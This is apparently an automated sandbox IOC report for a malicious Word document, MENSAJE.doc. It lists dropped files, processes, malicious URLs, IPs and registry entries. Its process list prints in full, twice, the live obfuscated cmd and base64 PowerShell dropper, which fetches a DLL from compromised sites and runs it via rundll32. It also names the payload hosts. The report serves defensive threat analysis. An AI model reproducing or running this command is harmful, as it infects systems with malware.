IOCReport

loading gif

Files

File Path
Type
Category
Malicious
MENSAJE.doc
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Subject: Outdoors, Outdoors & Shoes Personal Loan Account Unbranded one-to-one circuit Generic Fresh Tuna Money Market Account Compatible Roads, Author: Federico Briones, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 22 19:01:00 2021, Last Saved Time/Date: Fri Jan 22 19:01:00 2021, Number of Pages: 1, Number of Words: 3199, Number of Characters: 18238, Security: 8
initial sample
 malicious
C:\Users\user\Liq8l58\Egok7ei\D64O.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4380F3E0-FFD8-4816-B513-C2DC6937B540}.tmp
data
dropped
 clean
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4A859C42-B329-43DD-B686-F01B0F0382FA}.tmp
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\MENSAJE.LNK
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:12 2020, mtime=Wed Aug 26 14:08:12 2020, atime=Mon Jan 25 18:20:32 2021, length=171008, window=hide
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
ASCII text, with CRLF line terminators
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7PDJ5QC81VWL5221GXZU.temp
data
dropped
 clean
C:\Users\user\Desktop\~$ENSAJE.doc
data
dropped
 clean

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
 malicious
C:\Windows\System32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMAZQBUAC0AaQBUAEUAbQAgACgAIgB2AEEAUgBpACIAKwAiAGEAYgBMAGUAOgAwAGkAIgArACIAOQBmACIAKwAiAFoAYgAiACkAIAAgACgAIABbAFQAWQBwAEUAXQAoACIAewAxAH0AewAyAH0AewA0AH0AewA1AH0AewAwAH0AewAzAH0AewA2AH0AIgAgAC0ARgAgACcAVABPACcALAAnAFMAWQBTAFQAZQAnACwAJwBNAC4ASQBvAC4AZABpACcALAAnAFIAJwAsACcAcgBlACcALAAnAEMAJwAsACcAWQAnACkAIAAgACkAIAAgADsAIAAgACAAJAB5AHcATQA5AG4AIAA9AFsAdABZAFAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADMAfQB7ADIAfQB7ADQAfQB7ADEAfQAiACAALQBGACAAJwBuAEUAdAAuAHMAZQBSAFYAJwAsACcAZQBSACcALAAnAEkAbgBUACcALAAnAGkAQwBFAFAAbwAnACwAJwBtAGEATgBBAEcAJwAsACcAUwBZAHMAdABFAE0ALgAnACkAIAAgADsAIAAgACQAUwA0AGsANgB0AHIAagA9ACQATgA2ADkARwAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQATwAyAF8AUAA7ACQARwAxADQAUQA9ACgAJwBVACcAKwAoACcAMwAnACsAJwA2AE4AJwApACkAOwAgACQAMABJADkAZgB6AGIAOgA6ACIAQwBSAGUAYQB0AGAARQBEAGkAcgBFAGAAYwBUAE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwAyAE8AYgBMACcAKwAnAGkAJwArACcAcQAnACkAKwAnADgAbAAnACsAJwA1ACcAKwAnADgAJwArACgAJwAyACcAKwAnAE8AYgBFAGcAJwApACsAKAAnAG8AJwArACcAawA3AGUAaQAnACkAKwAoACcAMgBPACcAKwAnAGIAJwApACkAIAAtAEMAUgBlAHAATABBAGMARQAgACgAWwBDAGgAQQBSAF0ANQAwACsAWwBDAGgAQQBSAF0ANwA5ACsAWwBDAGgAQQBSAF0AOQA4ACkALABbAEMAaABBAFIAXQA5ADIAKQApADsAJABPADIAXwBZAD0AKAAoACcAVAAnACsAJwAzADUAJwApACsAJwBEACcAKQA7ACAAKAAgACAAZwBDAGkAIAAgAFYAQQBSAEkAQQBiAGwARQA6AHkAdwBtADkATgAgACkALgBWAGEAbAB1AGUAOgA6ACIAUwBFAGMAdQByAGAAaQBUAFkAcABgAFIAbwB0AGAAbwBDAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAUwA3ADcATgA9ACgAJwBBACcAKwAoACcAOAAxACcAKwAnAFcAJwApACkAOwAkAEcAcQBoADAAagBfAGIAIAA9ACAAKAAnAEQAJwArACgAJwA2ACcAKwAnADQATwAnACkAKQA7ACQAVwA4ADYATwA9ACgAKAAnAEMAJwArACcANAA3ACcAKQArACcARgAnACkAOwAkAE0AdABuADAANQB2AHIAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQAnACsAJwBMAGkAcQA4AGwANQA4AHsAMAB9ACcAKwAoACcARQBnACcAKwAnAG8AJwApACsAJwBrADcAJwArACcAZQBpAHsAMAB9ACcAKQAgAC0AZgAgAFsAQwBoAGEAcgBdADkAMgApACsAJABHAHEAaAAwAGoAXwBiACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABLADYAOQBXAD0AKAAoACcASAA4ACcAKwAnADkAJwApACsAJwBZACcAKQA7ACQAVABrADEAcQB3AHQAOQA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAE8AeQBsAHgAMQBkAGMAPQAoACgAJwB4ACAAWwAnACsAJwAgAHMAJwArACcAaAAnACkAKwAnACAAYgAnACsAJwA6ACcAKwAnAC8AJwArACgAJwAvAG4AJwArACcAYQBkAHkAJwApACsAJwBzACcAKwAoACcAYQAnACsAJwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvACcAKwAnAHcAJwArACcAcAAnACsAJwAtAGMAbwBuAHQAZQAnACkAKwAnAG4AdAAnACsAJwAvAEEAJwArACgAJwBsAG0AJwArACcAZQB0ACcAKQArACcALwAnACsAJwAhACcAKwAoACcAeAAnACsAJwAgAFsAJwApACsAKAAnACAAcwBoACAAYgAnACsAJwA6AC8ALwBiACcAKwAnAG8AbwBtACcAKwAnAGEAcgBrACcAKQArACgAJwBlAHQAZQAnACsAJwByAC4AJwArACcAYwBvACcAKQArACgAJwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGMAJwArACcAbwBuAHQAJwArACcAZQAnACkAKwAnAG4AdAAnACsAKAAnAC8AJwArACcANgAvACcAKQArACcAIQAnACsAKAAnAHgAIAAnACsAJwBbACAAcwBoACcAKQArACgAJwAgACcAKwAnAGIAOgAnACkAKwAnAC8ALwAnACsAKAAnAGMAcgBvAG8AJwArACcAawAnACsAJwBzAC0AdABhAHkAbABvAHIAJwApACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAJwAvACcAKwAoACcAMQA2ACcAKwAnADcANgAnACkAKwAnADQANwAnACsAKAAnADAAOQA3ADMAJwArACcALwAxAC8AIQAnACsAJwB4ACcAKQArACcAIABbACcAKwAnACAAcwAnACsAJwBoACcAKwAnACAAJwArACcAYgA6ACcAKwAnAC8AJwArACgAJwAvAHcAJwArACcAaAAnACsAJwBpAHQAZQAnACkAKwAnAHQAJwArACcAaABlACcAKwAoACcAbQAnACsAJwBlAC4AJwApACsAJwB4AHkAJwArACgAJwB6AC8AJwArACcAdwBwAC0AYwBvAG4AJwArACcAdAAnACkAKwAoACcAZQBuAHQALwAnACsAJwBxACcAKQArACcAOABIACcAKwAoACcALwAhAHgAJwArACcAIABbACcAKwAnACAAcwBoACcAKQArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAvAHIAJwArACcAZQB4ACcAKQArACgAJwAuAHQAYQAnACsAJwBzACcAKwAnAG0AaQByACcAKQArACgAJwBhACcAKwAnAGcAcgBvAHUAcAAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3ACcAKwAnAHAALQAnACkAKwAnAGkAbgAnACsAKAAnAGMAJwArACcAbAB1AGQAJwArACcAZQBzAC8AdQBuADYARwAvACcAKwAnACEAeAAgACcAKQArACgAJwBbACAAJwArACcAcwBoACAAYgA6ACcAKwAnAC8ALwAnACkAKwAnAHIAJwArACcAYQBiACcAKwAoACcAaQAnACsAJwBlAGkALgAnACkAKwAoACcAZgB1ACcAKwAnAG4ALwAnACkAKwAnAGUAaQAnACsAJwBkAGwAJwArACgAJwAtAHIAZQBjAG8AbgBzACcAKwAnAGkAJwArACcAZAAnACkAKwAnAGUAJwArACgAJwByAGEAJwArACcAdABpACcAKQArACgAJwBvAG4ALQBiAHMAJwArACcAMwBsACcAKwAnAHUALwAnACkAKwAoACcAZgBlACcAKwAnAG8AJwApACsAJwBPAGkAJwArACgAJwBBAE8ALwAnACsAJwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAgAHMAJwApACsAKAAnAGgAJwArACcAIABiACcAKQArACgAJwA6AC8AJwArACcALwAnACkAKwAoACcAbAAnACsAJwB2AG4AJwApACsAJwBzAGsAJwArACgAJwBpACcAKwAnAG4ALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwBoAC8AJwApACsAKAAnAEkAQgAnACsAJwAvACcAKQApAC4AIgByAGAAZQBwAGwAYABBAGMARQAiACgAKAAoACcAeAAnACsAJwAgAFsAJwApACsAJwAgAHMAJwArACgAJwBoACAAJwArACcAYgAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQAVABrADEAcQB3AHQAOQAsACcAdwBkACcAKQBbADMAXQApAC4AIgBTAFAAYABMAGkAdAAiACgAJABSADYAOQBJACAAKwAgACQAUwA0AGsANgB0AHIAagAgACsAIAAkAEMAMgA4AFEAKQA7ACQAQgAwADUASwA9ACgAJwBDACcAKwAoACcAOAAwACcAKwAnAE4AJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFQAdQA1AHQAdAB0AGEAIABpAG4AIAAkAE8AeQBsAHgAMQBkAGMAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAJwArACcAdwAtAE8AYgBqAGUAJwArACcAYwB0ACcAKQAgAFMAeQBzAHQAZQBtAC4ATgBlAFQALgB3AEUAQgBDAGwAaQBlAE4AdAApAC4AIgBEAG8AdwBuAGAAbABvAEEARABmAGAASQBMAGUAIgAoACQAVAB1ADUAdAB0AHQAYQAsACAAJABNAHQAbgAwADUAdgByACkAOwAkAEoAXwA0AEgAPQAoACgAJwBOACcAKwAnADAAMgAnACkAKwAnAFYAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAE0AdABuADAANQB2AHIAKQAuACIATABFAG4AYABHAGAAVABIACIAIAAtAGcAZQAgADQAMQA3ADMANwApACAAewAmACgAJwByAHUAbgBkAGwAJwArACcAbAAzADIAJwApACAAJABNAHQAbgAwADUAdgByACwAKAAoACcAQQBuACcAKwAnAHkAJwApACsAJwBTACcAKwAoACcAdAByACcAKwAnAGkAbgAnACkAKwAnAGcAJwApAC4AIgB0AG8AcwB0AGAAUgBpAGAATgBnACIAKAApADsAJABTADQANwBXAD0AKAAnAFcAMwAnACsAJwBfAE4AJwApADsAYgByAGUAYQBrADsAJABTAF8ANABFAD0AKAAoACcAQgAnACsAJwA1ADQAJwApACsAJwBaACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQAzADUAUgA9ACgAJwBDADYAJwArACcANQBCACcAKQA=
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IAAgAFMAZQBUAC0AaQBUAEUAbQAgACgAIgB2AEEAUgBpACIAKwAiAGEAYgBMAGUAOgAwAGkAIgArACIAOQBmACIAKwAiAFoAYgAiACkAIAAgACgAIABbAFQAWQBwAEUAXQAoACIAewAxAH0AewAyAH0AewA0AH0AewA1AH0AewAwAH0AewAzAH0AewA2AH0AIgAgAC0ARgAgACcAVABPACcALAAnAFMAWQBTAFQAZQAnACwAJwBNAC4ASQBvAC4AZABpACcALAAnAFIAJwAsACcAcgBlACcALAAnAEMAJwAsACcAWQAnACkAIAAgACkAIAAgADsAIAAgACAAJAB5AHcATQA5AG4AIAA9AFsAdABZAFAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADMAfQB7ADIAfQB7ADQAfQB7ADEAfQAiACAALQBGACAAJwBuAEUAdAAuAHMAZQBSAFYAJwAsACcAZQBSACcALAAnAEkAbgBUACcALAAnAGkAQwBFAFAAbwAnACwAJwBtAGEATgBBAEcAJwAsACcAUwBZAHMAdABFAE0ALgAnACkAIAAgADsAIAAgACQAUwA0AGsANgB0AHIAagA9ACQATgA2ADkARwAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQATwAyAF8AUAA7ACQARwAxADQAUQA9ACgAJwBVACcAKwAoACcAMwAnACsAJwA2AE4AJwApACkAOwAgACQAMABJADkAZgB6AGIAOgA6ACIAQwBSAGUAYQB0AGAARQBEAGkAcgBFAGAAYwBUAE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwAyAE8AYgBMACcAKwAnAGkAJwArACcAcQAnACkAKwAnADgAbAAnACsAJwA1ACcAKwAnADgAJwArACgAJwAyACcAKwAnAE8AYgBFAGcAJwApACsAKAAnAG8AJwArACcAawA3AGUAaQAnACkAKwAoACcAMgBPACcAKwAnAGIAJwApACkAIAAtAEMAUgBlAHAATABBAGMARQAgACgAWwBDAGgAQQBSAF0ANQAwACsAWwBDAGgAQQBSAF0ANwA5ACsAWwBDAGgAQQBSAF0AOQA4ACkALABbAEMAaABBAFIAXQA5ADIAKQApADsAJABPADIAXwBZAD0AKAAoACcAVAAnACsAJwAzADUAJwApACsAJwBEACcAKQA7ACAAKAAgACAAZwBDAGkAIAAgAFYAQQBSAEkAQQBiAGwARQA6AHkAdwBtADkATgAgACkALgBWAGEAbAB1AGUAOgA6ACIAUwBFAGMAdQByAGAAaQBUAFkAcABgAFIAbwB0AGAAbwBDAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAUwA3ADcATgA9ACgAJwBBACcAKwAoACcAOAAxACcAKwAnAFcAJwApACkAOwAkAEcAcQBoADAAagBfAGIAIAA9ACAAKAAnAEQAJwArACgAJwA2ACcAKwAnADQATwAnACkAKQA7ACQAVwA4ADYATwA9ACgAKAAnAEMAJwArACcANAA3ACcAKQArACcARgAnACkAOwAkAE0AdABuADAANQB2AHIAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQAnACsAJwBMAGkAcQA4AGwANQA4AHsAMAB9ACcAKwAoACcARQBnACcAKwAnAG8AJwApACsAJwBrADcAJwArACcAZQBpAHsAMAB9ACcAKQAgAC0AZgAgAFsAQwBoAGEAcgBdADkAMgApACsAJABHAHEAaAAwAGoAXwBiACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABLADYAOQBXAD0AKAAoACcASAA4ACcAKwAnADkAJwApACsAJwBZACcAKQA7ACQAVABrADEAcQB3AHQAOQA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAE8AeQBsAHgAMQBkAGMAPQAoACgAJwB4ACAAWwAnACsAJwAgAHMAJwArACcAaAAnACkAKwAnACAAYgAnACsAJwA6ACcAKwAnAC8AJwArACgAJwAvAG4AJwArACcAYQBkAHkAJwApACsAJwBzACcAKwAoACcAYQAnACsAJwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvACcAKwAnAHcAJwArACcAcAAnACsAJwAtAGMAbwBuAHQAZQAnACkAKwAnAG4AdAAnACsAJwAvAEEAJwArACgAJwBsAG0AJwArACcAZQB0ACcAKQArACcALwAnACsAJwAhACcAKwAoACcAeAAnACsAJwAgAFsAJwApACsAKAAnACAAcwBoACAAYgAnACsAJwA6AC8ALwBiACcAKwAnAG8AbwBtACcAKwAnAGEAcgBrACcAKQArACgAJwBlAHQAZQAnACsAJwByAC4AJwArACcAYwBvACcAKQArACgAJwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGMAJwArACcAbwBuAHQAJwArACcAZQAnACkAKwAnAG4AdAAnACsAKAAnAC8AJwArACcANgAvACcAKQArACcAIQAnACsAKAAnAHgAIAAnACsAJwBbACAAcwBoACcAKQArACgAJwAgACcAKwAnAGIAOgAnACkAKwAnAC8ALwAnACsAKAAnAGMAcgBvAG8AJwArACcAawAnACsAJwBzAC0AdABhAHkAbABvAHIAJwApACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAJwAvACcAKwAoACcAMQA2ACcAKwAnADcANgAnACkAKwAnADQANwAnACsAKAAnADAAOQA3ADMAJwArACcALwAxAC8AIQAnACsAJwB4ACcAKQArACcAIABbACcAKwAnACAAcwAnACsAJwBoACcAKwAnACAAJwArACcAYgA6ACcAKwAnAC8AJwArACgAJwAvAHcAJwArACcAaAAnACsAJwBpAHQAZQAnACkAKwAnAHQAJwArACcAaABlACcAKwAoACcAbQAnACsAJwBlAC4AJwApACsAJwB4AHkAJwArACgAJwB6AC8AJwArACcAdwBwAC0AYwBvAG4AJwArACcAdAAnACkAKwAoACcAZQBuAHQALwAnACsAJwBxACcAKQArACcAOABIACcAKwAoACcALwAhAHgAJwArACcAIABbACcAKwAnACAAcwBoACcAKQArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAvAHIAJwArACcAZQB4ACcAKQArACgAJwAuAHQAYQAnACsAJwBzACcAKwAnAG0AaQByACcAKQArACgAJwBhACcAKwAnAGcAcgBvAHUAcAAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3ACcAKwAnAHAALQAnACkAKwAnAGkAbgAnACsAKAAnAGMAJwArACcAbAB1AGQAJwArACcAZQBzAC8AdQBuADYARwAvACcAKwAnACEAeAAgACcAKQArACgAJwBbACAAJwArACcAcwBoACAAYgA6ACcAKwAnAC8ALwAnACkAKwAnAHIAJwArACcAYQBiACcAKwAoACcAaQAnACsAJwBlAGkALgAnACkAKwAoACcAZgB1ACcAKwAnAG4ALwAnACkAKwAnAGUAaQAnACsAJwBkAGwAJwArACgAJwAtAHIAZQBjAG8AbgBzACcAKwAnAGkAJwArACcAZAAnACkAKwAnAGUAJwArACgAJwByAGEAJwArACcAdABpACcAKQArACgAJwBvAG4ALQBiAHMAJwArACcAMwBsACcAKwAnAHUALwAnACkAKwAoACcAZgBlACcAKwAnAG8AJwApACsAJwBPAGkAJwArACgAJwBBAE8ALwAnACsAJwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAgAHMAJwApACsAKAAnAGgAJwArACcAIABiACcAKQArACgAJwA6AC8AJwArACcALwAnACkAKwAoACcAbAAnACsAJwB2AG4AJwApACsAJwBzAGsAJwArACgAJwBpACcAKwAnAG4ALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwBoAC8AJwApACsAKAAnAEkAQgAnACsAJwAvACcAKQApAC4AIgByAGAAZQBwAGwAYABBAGMARQAiACgAKAAoACcAeAAnACsAJwAgAFsAJwApACsAJwAgAHMAJwArACgAJwBoACAAJwArACcAYgAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQAVABrADEAcQB3AHQAOQAsACcAdwBkACcAKQBbADMAXQApAC4AIgBTAFAAYABMAGkAdAAiACgAJABSADYAOQBJACAAKwAgACQAUwA0AGsANgB0AHIAagAgACsAIAAkAEMAMgA4AFEAKQA7ACQAQgAwADUASwA9ACgAJwBDACcAKwAoACcAOAAwACcAKwAnAE4AJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFQAdQA1AHQAdAB0AGEAIABpAG4AIAAkAE8AeQBsAHgAMQBkAGMAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAJwArACcAdwAtAE8AYgBqAGUAJwArACcAYwB0ACcAKQAgAFMAeQBzAHQAZQBtAC4ATgBlAFQALgB3AEUAQgBDAGwAaQBlAE4AdAApAC4AIgBEAG8AdwBuAGAAbABvAEEARABmAGAASQBMAGUAIgAoACQAVAB1ADUAdAB0AHQAYQAsACAAJABNAHQAbgAwADUAdgByACkAOwAkAEoAXwA0AEgAPQAoACgAJwBOACcAKwAnADAAMgAnACkAKwAnAFYAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAE0AdABuADAANQB2AHIAKQAuACIATABFAG4AYABHAGAAVABIACIAIAAtAGcAZQAgADQAMQA3ADMANwApACAAewAmACgAJwByAHUAbgBkAGwAJwArACcAbAAzADIAJwApACAAJABNAHQAbgAwADUAdgByACwAKAAoACcAQQBuACcAKwAnAHkAJwApACsAJwBTACcAKwAoACcAdAByACcAKwAnAGkAbgAnACkAKwAnAGcAJwApAC4AIgB0AG8AcwB0AGAAUgBpAGAATgBnACIAKAApADsAJABTADQANwBXAD0AKAAnAFcAMwAnACsAJwBfAE4AJwApADsAYgByAGUAYQBrADsAJABTAF8ANABFAD0AKAAoACcAQgAnACsAJwA1ADQAJwApACsAJwBaACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQAzADUAUgA9ACgAJwBDADYAJwArACcANQBCACcAKQA=
 malicious
C:\Windows\System32\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Liq8l58\Egok7ei\D64O.dll AnyString
 malicious
C:\Windows\SysWOW64\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Liq8l58\Egok7ei\D64O.dll AnyString
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Liq8l58\Egok7ei\D64O.dll',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Sqnknlpyv\hvpedfkj.tan',xwmmryHmiBrcQ
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Sqnknlpyv\hvpedfkj.tan',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ceelf\ceht.ynf',LiprInkL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ceelf\ceht.ynf',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gstbghdcbll\xymuoataos.ccr',ZlOVOPTFkFCSlH
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gstbghdcbll\xymuoataos.ccr',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Lzlvyublnqyq\ovcucjzboyk.nwn',dHWvVgE
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Lzlvyublnqyq\ovcucjzboyk.nwn',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Woooizzjxmgfwuv\lldxvtebowotvy.flt',XiceWXom
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Woooizzjxmgfwuv\lldxvtebowotvy.flt',#1
 malicious
C:\Windows\System32\msg.exe
msg user /v Word experienced an error trying to open the file.
clean
There are 7 hidden processes, click here to show them.

URLs

Name
IP
Malicious
http://lvnskin.com/h/IB/
unknown
 malicious
http://nadysa.com/wp-content/Almet/
217.144.106.11
 malicious
http://crooks-taylor.com/1676470973/1/
unknown
 malicious
http://rabiei.fun/eidl-reconsideration-bs3lu/feoOiAO/
unknown
 malicious
http://rex.tasmiragroup.com/wp-includes/un6G/
unknown
 malicious
http://84.232.229.24/v50s5eb3yu/ikc5f/tm3n1kmbtr/xhcy92qsfj3ttmk7xna/nflksuq0nonbqij/
84.232.229.24
 malicious
http://whitetheme.xyz/wp-content/q8H/
unknown
 malicious
http://boomarketer.com/wp-content/6/
unknown
 malicious
http://nadysa.com
unknown
 malicious
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
unknown
 clean
http://www.windows.com/pctv.
unknown
 clean
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
unknown
 clean
http://investor.msn.com
unknown
 clean
http://www.msnbc.com/news/ticker.txt
unknown
 clean
http://www.icra.org/vocabulary/.
unknown
 clean
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
unknown
 clean
http://ocsp.sectigo.com0
unknown
 clean
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
unknown
 clean
http://investor.msn.com/
unknown
 clean
https://sectigo.com/CPS0D
unknown
 clean
http://www.%s.comPA
unknown
 clean
http://windowsmedia.com/redir/services.asp?WMPFriendly=true
unknown
 clean
http://www.hotmail.com/oe
unknown
 clean
There are 13 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
nadysa.com
217.144.106.11
 malicious

IPs

IP
Domain
Country
Active
Malicious
217.144.106.11
unknown
Iran (ISLAMIC Republic Of)
unknown
 malicious
84.232.229.24
unknown
Romania
unknown
 malicious

Registry

Path
Value
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
3%7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
<&7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
$(7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
VBAFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ReviewToken
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EC15C
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Agency FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aharoni
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Algerian
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Andalus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Angsana New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
AngsanaUPC
 clean
